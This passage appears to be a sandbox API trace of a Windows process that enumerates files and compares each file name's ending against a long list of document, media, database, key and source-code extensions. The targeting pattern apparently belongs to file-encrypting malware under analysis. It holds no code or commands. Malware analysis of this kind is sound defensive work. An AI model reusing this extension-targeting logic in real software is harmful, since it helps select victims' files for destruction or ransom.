[0052.764] lstrlenW (lpString=".jsp") returned 4 [0052.764] lstrcmpiW (lpString1=".jsp", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".kdc") returned 4 [0052.764] lstrcmpiW (lpString1=".kdc", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".kmz") returned 4 [0052.764] lstrcmpiW (lpString1=".kmz", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".kwm") returned 4 [0052.764] lstrcmpiW (lpString1=".kwm", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".lasso") returned 6 [0052.764] lstrcmpiW (lpString1=".lasso", lpString2="SE.WAV") returned -1 [0052.764] lstrlenW (lpString=".lbi") returned 4 [0052.764] lstrcmpiW (lpString1=".lbi", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".lgf") returned 4 [0052.765] lstrcmpiW (lpString1=".lgf", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".lgp") returned 4 [0052.765] lstrcmpiW (lpString1=".lgp", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".log") returned 4 [0052.765] lstrcmpiW (lpString1=".log", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".m1v") returned 4 [0052.765] lstrcmpiW (lpString1=".m1v", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".m4a") returned 4 [0052.765] lstrcmpiW (lpString1=".m4a", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".m4v") returned 4 [0052.765] lstrcmpiW (lpString1=".m4v", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".max") returned 4 [0052.765] lstrcmpiW (lpString1=".max", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".md") returned 3 [0052.765] lstrcmpiW (lpString1=".md", lpString2="WAV") returned -1 [0052.765] lstrlenW (lpString=".mda") returned 4 [0052.765] lstrcmpiW (lpString1=".mda", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".mdb") returned 4 [0052.765] lstrcmpiW (lpString1=".mdb", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".mde") returned 4 [0052.765] lstrcmpiW (lpString1=".mde", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".mdf") returned 4 [0052.765] lstrcmpiW (lpString1=".mdf", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".mdw") returned 4 [0052.765] lstrcmpiW (lpString1=".mdw", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".mef") returned 4 [0052.765] lstrcmpiW (lpString1=".mef", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".mft") returned 4 [0052.765] lstrcmpiW (lpString1=".mft", lpString2=".WAV") returned -1 [0052.765] lstrlenW (lpString=".mfw") returned 4 [0052.765] lstrcmpiW (lpString1=".mfw", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mht") returned 4 [0052.766] lstrcmpiW (lpString1=".mht", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mhtml") returned 6 [0052.766] lstrcmpiW (lpString1=".mhtml", lpString2="SE.WAV") returned -1 [0052.766] lstrlenW (lpString=".mka") returned 4 [0052.766] lstrcmpiW (lpString1=".mka", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mkidx") returned 6 [0052.766] lstrcmpiW (lpString1=".mkidx", lpString2="SE.WAV") returned -1 [0052.766] lstrlenW (lpString=".mkv") returned 4 [0052.766] lstrcmpiW (lpString1=".mkv", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mos") returned 4 [0052.766] lstrcmpiW (lpString1=".mos", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mov") returned 4 [0052.766] lstrcmpiW (lpString1=".mov", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mp3") returned 4 [0052.766] lstrcmpiW (lpString1=".mp3", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mp4") returned 4 [0052.766] lstrcmpiW (lpString1=".mp4", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mpeg") returned 5 [0052.766] lstrcmpiW (lpString1=".mpeg", lpString2="E.WAV") returned -1 [0052.766] lstrlenW (lpString=".mpg") returned 4 [0052.766] lstrcmpiW (lpString1=".mpg", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mpv") returned 4 [0052.766] lstrcmpiW (lpString1=".mpv", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mrw") returned 4 [0052.766] lstrcmpiW (lpString1=".mrw", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".msg") returned 4 [0052.766] lstrcmpiW (lpString1=".msg", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".mxl") returned 4 [0052.766] lstrcmpiW (lpString1=".mxl", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".myd") returned 4 [0052.766] lstrcmpiW (lpString1=".myd", lpString2=".WAV") returned -1 [0052.766] lstrlenW (lpString=".myi") returned 4 [0052.766] lstrcmpiW (lpString1=".myi", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".nef") returned 4 [0052.767] lstrcmpiW (lpString1=".nef", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".nrw") returned 4 [0052.767] lstrcmpiW (lpString1=".nrw", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".obj") returned 4 [0052.767] lstrcmpiW (lpString1=".obj", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".odb") returned 4 [0052.767] lstrcmpiW (lpString1=".odb", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".odc") returned 4 [0052.767] lstrcmpiW (lpString1=".odc", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".odm") returned 4 [0052.767] lstrcmpiW (lpString1=".odm", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".odp") returned 4 [0052.767] lstrcmpiW (lpString1=".odp", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".ods") returned 4 [0052.767] lstrcmpiW (lpString1=".ods", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".oft") returned 4 [0052.767] lstrcmpiW (lpString1=".oft", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".one") returned 4 [0052.767] lstrcmpiW (lpString1=".one", lpString2=".WAV") returned -1 [0052.767] lstrlenW (lpString=".onepkg") returned 7 [0052.767] lstrcmpiW (lpString1=".onepkg", lpString2="USE.WAV") returned -1 [0052.767] lstrlenW (lpString=".onetoc2") returned 8 [0052.767] lstrcmpiW (lpString1=".onetoc2", lpString2="AUSE.WAV") returned -1 [0052.767] lstrlenW (lpString=".opt") returned 4 [0052.767] lstrcmpiW (lpString1=".opt", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".oqy") returned 4 [0052.768] lstrcmpiW (lpString1=".oqy", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".orf") returned 4 [0052.768] lstrcmpiW (lpString1=".orf", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".p12") returned 4 [0052.768] lstrcmpiW (lpString1=".p12", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".p7b") returned 4 [0052.768] lstrcmpiW (lpString1=".p7b", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".p7c") returned 4 [0052.768] lstrcmpiW (lpString1=".p7c", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pam") returned 4 [0052.768] lstrcmpiW (lpString1=".pam", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pbm") returned 4 [0052.768] lstrcmpiW (lpString1=".pbm", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pct") returned 4 [0052.768] lstrcmpiW (lpString1=".pct", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pcx") returned 4 [0052.768] lstrcmpiW (lpString1=".pcx", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pdd") returned 4 [0052.768] lstrcmpiW (lpString1=".pdd", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pdf") returned 4 [0052.768] lstrcmpiW (lpString1=".pdf", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pdp") returned 4 [0052.768] lstrcmpiW (lpString1=".pdp", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pef") returned 4 [0052.768] lstrcmpiW (lpString1=".pef", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pem") returned 4 [0052.768] lstrcmpiW (lpString1=".pem", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pff") returned 4 [0052.768] lstrcmpiW (lpString1=".pff", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pfm") returned 4 [0052.768] lstrcmpiW (lpString1=".pfm", lpString2=".WAV") returned -1 [0052.768] lstrlenW (lpString=".pfx") returned 4 [0052.768] lstrcmpiW (lpString1=".pfx", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".pgm") returned 4 [0052.769] lstrcmpiW (lpString1=".pgm", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".php") returned 4 [0052.769] lstrcmpiW (lpString1=".php", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".php3") returned 5 [0052.769] lstrcmpiW (lpString1=".php3", lpString2="E.WAV") returned -1 [0052.769] lstrlenW (lpString=".php4") returned 5 [0052.769] lstrcmpiW (lpString1=".php4", lpString2="E.WAV") returned -1 [0052.769] lstrlenW (lpString=".php5") returned 5 [0052.769] lstrcmpiW (lpString1=".php5", lpString2="E.WAV") returned -1 [0052.769] lstrlenW (lpString=".phtml") returned 6 [0052.769] lstrcmpiW (lpString1=".phtml", lpString2="SE.WAV") returned -1 [0052.769] lstrlenW (lpString=".pict") returned 5 [0052.769] lstrcmpiW (lpString1=".pict", lpString2="E.WAV") returned -1 [0052.769] lstrlenW (lpString=".pl") returned 3 [0052.769] lstrcmpiW (lpString1=".pl", lpString2="WAV") returned -1 [0052.769] lstrlenW (lpString=".pls") returned 4 [0052.769] lstrcmpiW (lpString1=".pls", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".pm") returned 3 [0052.769] lstrcmpiW (lpString1=".pm", lpString2="WAV") returned -1 [0052.769] lstrlenW (lpString=".png") returned 4 [0052.769] lstrcmpiW (lpString1=".png", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".pnm") returned 4 [0052.769] lstrcmpiW (lpString1=".pnm", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".pot") returned 4 [0052.769] lstrcmpiW (lpString1=".pot", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".potm") returned 5 [0052.769] lstrcmpiW (lpString1=".potm", lpString2="E.WAV") returned -1 [0052.769] lstrlenW (lpString=".potx") returned 5 [0052.769] lstrcmpiW (lpString1=".potx", lpString2="E.WAV") returned -1 [0052.769] lstrlenW (lpString=".ppa") returned 4 [0052.769] lstrcmpiW (lpString1=".ppa", lpString2=".WAV") returned -1 [0052.769] lstrlenW (lpString=".ppam") returned 5 [0052.770] lstrcmpiW (lpString1=".ppam", lpString2="E.WAV") returned -1 [0052.770] lstrlenW (lpString=".ppm") returned 4 [0052.770] lstrcmpiW (lpString1=".ppm", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".pps") returned 4 [0052.770] lstrcmpiW (lpString1=".pps", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".ppsm") returned 5 [0052.770] lstrcmpiW (lpString1=".ppsm", lpString2="E.WAV") returned -1 [0052.770] lstrlenW (lpString=".ppt") returned 4 [0052.770] lstrcmpiW (lpString1=".ppt", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".pptm") returned 5 [0052.770] lstrcmpiW (lpString1=".pptm", lpString2="E.WAV") returned -1 [0052.770] lstrlenW (lpString=".pptx") returned 5 [0052.770] lstrcmpiW (lpString1=".pptx", lpString2="E.WAV") returned -1 [0052.770] lstrlenW (lpString=".prn") returned 4 [0052.770] lstrcmpiW (lpString1=".prn", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".ps") returned 3 [0052.770] lstrcmpiW (lpString1=".ps", lpString2="WAV") returned -1 [0052.770] lstrlenW (lpString=".psb") returned 4 [0052.770] lstrcmpiW (lpString1=".psb", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".psd") returned 4 [0052.770] lstrcmpiW (lpString1=".psd", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".pst") returned 4 [0052.770] lstrcmpiW (lpString1=".pst", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".ptx") returned 4 [0052.770] lstrcmpiW (lpString1=".ptx", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".pub") returned 4 [0052.770] lstrcmpiW (lpString1=".pub", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".pwm") returned 4 [0052.770] lstrcmpiW (lpString1=".pwm", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".pxr") returned 4 [0052.770] lstrcmpiW (lpString1=".pxr", lpString2=".WAV") returned -1 [0052.770] lstrlenW (lpString=".py") returned 3 [0052.770] lstrcmpiW (lpString1=".py", lpString2="WAV") returned -1 [0052.770] lstrlenW (lpString=".qt") returned 3 [0052.771] lstrcmpiW (lpString1=".qt", lpString2="WAV") returned -1 [0052.771] lstrlenW (lpString=".r3d") returned 4 [0052.771] lstrcmpiW (lpString1=".r3d", lpString2=".WAV") returned -1 [0052.771] lstrlenW (lpString=".raf") returned 4 [0052.771] lstrcmpiW (lpString1=".raf", lpString2=".WAV") returned -1 [0052.771] lstrlenW (lpString=".rar") returned 4 [0052.771] lstrcmpiW (lpString1=".rar", lpString2=".WAV") returned -1 [0052.771] lstrlenW (lpString=".raw") returned 4 [0052.771] lstrcmpiW (lpString1=".raw", lpString2=".WAV") returned -1 [0057.948] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.949] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="83PV-R~1")) returned 1 [0057.950] lstrcmpiW (lpString1=".1cd", lpString2="SJ-H") returned -1 [0057.950] lstrcmpiW (lpString1=".3ds", lpString2="SJ-H") returned -1 [0057.951] lstrcmpiW (lpString1=".3fr", lpString2="SJ-H") returned -1 [0057.951] lstrcmpiW (lpString1=".3g2", lpString2="SJ-H") returned -1 [0057.951] lstrcmpiW (lpString1=".3gp", lpString2="SJ-H") returned -1 [0057.951] lstrcmpiW (lpString1=".7z", lpString2="J-H") returned -1 [0057.951] lstrcmpiW (lpString1=".accda", lpString2="RKSJ-H") returned -1 [0057.952] lstrcmpiW (lpString1=".accdb", lpString2="RKSJ-H") returned -1 [0057.952] lstrcmpiW (lpString1=".accdc", lpString2="RKSJ-H") returned -1 [0057.952] lstrcmpiW (lpString1=".accde", lpString2="RKSJ-H") returned -1 [0057.952] lstrcmpiW (lpString1=".accdt", lpString2="RKSJ-H") returned -1 [0057.952] lstrcmpiW (lpString1=".accdw", lpString2="RKSJ-H") returned -1 [0057.952] lstrcmpiW (lpString1=".adb", lpString2="SJ-H") returned -1 [0057.952] lstrcmpiW (lpString1=".adp", lpString2="SJ-H") returned -1 [0057.953] lstrcmpiW (lpString1=".ai", lpString2="J-H") returned -1 [0057.953] lstrcmpiW (lpString1=".ai3", lpString2="SJ-H") returned -1 [0057.953] lstrcmpiW (lpString1=".ai4", lpString2="SJ-H") returned -1 [0057.953] lstrcmpiW (lpString1=".ai5", lpString2="SJ-H") returned -1 [0057.955] lstrcmpiW (lpString1=".ai6", lpString2="SJ-H") returned -1 [0057.955] lstrcmpiW (lpString1=".ai7", lpString2="SJ-H") returned -1 [0057.955] lstrcmpiW (lpString1=".ai8", lpString2="SJ-H") returned -1 [0057.959] lstrcmpiW (lpString1=".anim", lpString2="KSJ-H") returned -1 [0057.959] lstrcmpiW (lpString1=".arw", lpString2="SJ-H") returned -1 [0057.959] lstrcmpiW (lpString1=".as", lpString2="J-H") returned -1 [0057.959] lstrcmpiW (lpString1=".asa", lpString2="SJ-H") returned -1 [0057.959] lstrcmpiW (lpString1=".asc", lpString2="SJ-H") returned -1 [0057.964] lstrcmpiW (lpString1=".ascx", lpString2="KSJ-H") returned -1 [0057.965] lstrcmpiW (lpString1=".asm", lpString2="SJ-H") returned -1 [0057.965] lstrcmpiW (lpString1=".asmx", lpString2="KSJ-H") returned -1 [0057.965] lstrcmpiW (lpString1=".asp", lpString2="SJ-H") returned -1 [0057.966] lstrcmpiW (lpString1=".aspx", lpString2="KSJ-H") returned -1 [0057.966] lstrcmpiW (lpString1=".asr", lpString2="SJ-H") returned -1 [0057.966] lstrcmpiW (lpString1=".asx", lpString2="SJ-H") returned -1 [0057.966] lstrcmpiW (lpString1=".avi", lpString2="SJ-H") returned -1 [0057.966] lstrcmpiW (lpString1=".avs", lpString2="SJ-H") returned -1 [0057.967] lstrcmpiW (lpString1=".backup", lpString2="-RKSJ-H") returned -1 [0057.967] lstrcmpiW (lpString1=".bak", lpString2="SJ-H") returned -1 [0057.967] lstrcmpiW (lpString1=".bay", lpString2="SJ-H") returned -1 [0057.970] lstrcmpiW (lpString1=".bd", lpString2="J-H") returned -1 [0057.970] lstrcmpiW (lpString1=".bin", lpString2="SJ-H") returned -1 [0057.971] lstrcmpiW (lpString1=".bmp", lpString2="SJ-H") returned -1 [0057.971] lstrcmpiW (lpString1=".bz2", lpString2="SJ-H") returned -1 [0057.972] lstrcmpiW (lpString1=".c", lpString2="-H") returned -1 [0057.972] lstrcmpiW (lpString1=".cdr", lpString2="SJ-H") returned -1 [0057.972] lstrcmpiW (lpString1=".cer", lpString2="SJ-H") returned -1 [0057.972] lstrcmpiW (lpString1=".cf", lpString2="J-H") returned -1 [0057.972] lstrcmpiW (lpString1=".cfc", lpString2="SJ-H") returned -1 [0057.972] lstrcmpiW (lpString1=".cfm", lpString2="SJ-H") returned -1 [0057.972] lstrcmpiW (lpString1=".cfml", lpString2="KSJ-H") returned -1 [0057.979] lstrcmpiW (lpString1=".cfu", lpString2="SJ-H") returned -1 [0057.979] lstrcmpiW (lpString1=".chm", lpString2="SJ-H") returned -1 [0057.979] lstrcmpiW (lpString1=".cin", lpString2="SJ-H") returned -1 [0057.979] lstrcmpiW (lpString1=".class", lpString2="RKSJ-H") returned -1 [0057.980] lstrcmpiW (lpString1=".clx", lpString2="SJ-H") returned -1 [0057.980] lstrcmpiW (lpString1=".config", lpString2="-RKSJ-H") returned -1 [0057.980] lstrcmpiW (lpString1=".cpp", lpString2="SJ-H") returned -1 [0057.981] lstrcmpiW (lpString1=".cr2", lpString2="SJ-H") returned -1 [0057.981] lstrcmpiW (lpString1=".crt", lpString2="SJ-H") returned -1 [0057.981] lstrcmpiW (lpString1=".crw", lpString2="SJ-H") returned -1 [0057.981] lstrcmpiW (lpString1=".cs", lpString2="J-H") returned -1 [0057.981] lstrcmpiW (lpString1=".css", lpString2="SJ-H") returned -1 [0057.981] lstrcmpiW (lpString1=".csv", lpString2="SJ-H") returned -1 [0057.981] lstrcmpiW (lpString1=".cub", lpString2="SJ-H") returned -1 [0057.981] lstrcmpiW (lpString1=".dae", lpString2="SJ-H") returned -1 [0057.984] lstrcmpiW (lpString1=".dat", lpString2="SJ-H") returned -1 [0057.984] lstrcmpiW (lpString1=".db", lpString2="J-H") returned -1 [0057.986] lstrcmpiW (lpString1=".dbf", lpString2="SJ-H") returned -1 [0058.006] lstrcmpiW (lpString1=".dbx", lpString2="SJ-H") returned -1 [0058.006] lstrcmpiW (lpString1=".dc3", lpString2="SJ-H") returned -1 [0058.008] lstrcmpiW (lpString1=".dcm", lpString2="SJ-H") returned -1 [0058.009] lstrcmpiW (lpString1=".dcr", lpString2="SJ-H") returned -1 [0058.012] lstrcmpiW (lpString1=".der", lpString2="SJ-H") returned -1 [0058.015] lstrcmpiW (lpString1=".dib", lpString2="SJ-H") returned -1 [0058.035] lstrcmpiW (lpString1=".dic", lpString2="SJ-H") returned -1 [0058.044] lstrcmpiW (lpString1=".dif", lpString2="SJ-H") returned -1 [0058.045] lstrcmpiW (lpString1=".divx", lpString2="KSJ-H") returned -1 [0058.046] lstrcmpiW (lpString1=".djvu", lpString2="KSJ-H") returned -1 [0058.046] lstrcmpiW (lpString1=".dng", lpString2="SJ-H") returned -1 [0058.046] lstrcmpiW (lpString1=".doc", lpString2="SJ-H") returned -1 [0058.046] lstrcmpiW (lpString1=".docm", lpString2="KSJ-H") returned -1 [0058.047] lstrcmpiW (lpString1=".docx", lpString2="KSJ-H") returned -1 [0058.049] lstrcmpiW (lpString1=".dot", lpString2="SJ-H") returned -1 [0058.049] lstrcmpiW (lpString1=".dotm", lpString2="KSJ-H") returned -1 [0058.052] lstrcmpiW (lpString1=".dotx", lpString2="KSJ-H") returned -1 [0058.057] lstrcmpiW (lpString1=".dpx", lpString2="SJ-H") returned -1 [0058.057] lstrcmpiW (lpString1=".dqy", lpString2="SJ-H") returned -1 [0058.057] lstrcmpiW (lpString1=".dsn", lpString2="SJ-H") returned -1 [0058.061] lstrcmpiW (lpString1=".dt", lpString2="J-H") returned -1 [0058.062] lstrcmpiW (lpString1=".dtd", lpString2="SJ-H") returned -1 [0058.074] lstrcmpiW (lpString1=".dwg", lpString2="SJ-H") returned -1 [0058.079] lstrcmpiW (lpString1=".dwt", lpString2="SJ-H") returned -1 [0058.502] lstrcmpiW (lpString1=".dx", lpString2="J-H") returned -1 [0058.502] lstrcmpiW (lpString1=".dxf", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".edml", lpString2="KSJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".efd", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".elf", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".emf", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".emz", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".epf", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".eps", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".epsf", lpString2="KSJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".epsp", lpString2="KSJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".erf", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".exr", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".f4v", lpString2="SJ-H") returned -1 [0058.503] lstrcmpiW (lpString1=".fido", lpString2="KSJ-H") returned -1 [0058.504] lstrcmpiW (lpString1=".flm", lpString2="SJ-H") returned -1 [0058.504] lstrcmpiW (lpString1=".flv", lpString2="SJ-H") returned -1 [0058.504] lstrcmpiW (lpString1=".frm", lpString2="SJ-H") returned -1 [0058.526] lstrcmpiW (lpString1=".fxg", lpString2="SJ-H") returned -1 [0058.527] lstrcmpiW (lpString1=".geo", lpString2="SJ-H") returned -1 [0058.528] lstrcmpiW (lpString1=".gif", lpString2="SJ-H") returned -1 [0058.528] lstrcmpiW (lpString1=".grs", lpString2="SJ-H") returned -1 [0058.528] lstrcmpiW (lpString1=".gz", lpString2="J-H") returned -1 [0058.528] lstrcmpiW (lpString1=".h", lpString2="-H") returned -1 [0058.529] lstrcmpiW (lpString1=".hdr", lpString2="SJ-H") returned -1 [0058.529] lstrcmpiW (lpString1=".hpp", lpString2="SJ-H") returned -1 [0058.529] lstrcmpiW (lpString1=".hta", lpString2="SJ-H") returned -1 [0058.531] lstrcmpiW (lpString1=".htc", lpString2="SJ-H") returned -1 [0058.532] lstrcmpiW (lpString1=".htm", lpString2="SJ-H") returned -1 [0058.532] lstrcmpiW (lpString1=".html", lpString2="KSJ-H") returned -1 [0058.533] lstrcmpiW (lpString1=".icb", lpString2="SJ-H") returned -1 [0058.534] lstrcmpiW (lpString1=".ics", lpString2="SJ-H") returned -1 [0058.535] lstrcmpiW (lpString1=".iff", lpString2="SJ-H") returned -1 [0058.536] lstrcmpiW (lpString1=".inc", lpString2="SJ-H") returned -1 [0058.536] lstrcmpiW (lpString1=".indd", lpString2="KSJ-H") returned -1 [0058.538] lstrcmpiW (lpString1=".ini", lpString2="SJ-H") returned -1 [0058.538] lstrcmpiW (lpString1=".iqy", lpString2="SJ-H") returned -1 [0058.540] lstrcmpiW (lpString1=".j2c", lpString2="SJ-H") returned -1 [0058.542] lstrcmpiW (lpString1=".j2k", lpString2="SJ-H") returned -1 [0058.542] lstrcmpiW (lpString1=".java", lpString2="KSJ-H") returned -1 [0058.542] lstrcmpiW (lpString1=".jp2", lpString2="SJ-H") returned -1 [0058.542] lstrcmpiW (lpString1=".jpc", lpString2="SJ-H") returned -1 [0058.542] lstrcmpiW (lpString1=".jpe", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".jpeg", lpString2="KSJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".jpf", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".jpg", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".jpx", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".js", lpString2="J-H") returned -1 [0058.543] lstrcmpiW (lpString1=".jsf", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".json", lpString2="KSJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".jsp", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".kdc", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".kmz", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".kwm", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".lasso", lpString2="RKSJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".lbi", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".lgf", lpString2="SJ-H") returned -1 [0058.543] lstrcmpiW (lpString1=".lgp", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".log", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".m1v", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".m4a", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".m4v", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".max", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".md", lpString2="J-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mda", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mdb", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mde", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mdf", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mdw", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mef", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mft", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mfw", lpString2="SJ-H") returned -1 [0058.544] lstrcmpiW (lpString1=".mht", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mhtml", lpString2="RKSJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mka", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mkidx", lpString2="RKSJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mkv", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mos", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mov", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mp3", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mp4", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mpeg", lpString2="KSJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mpg", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mpv", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mrw", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".msg", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".mxl", lpString2="SJ-H") returned -1 [0058.545] lstrcmpiW (lpString1=".myd", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".myi", 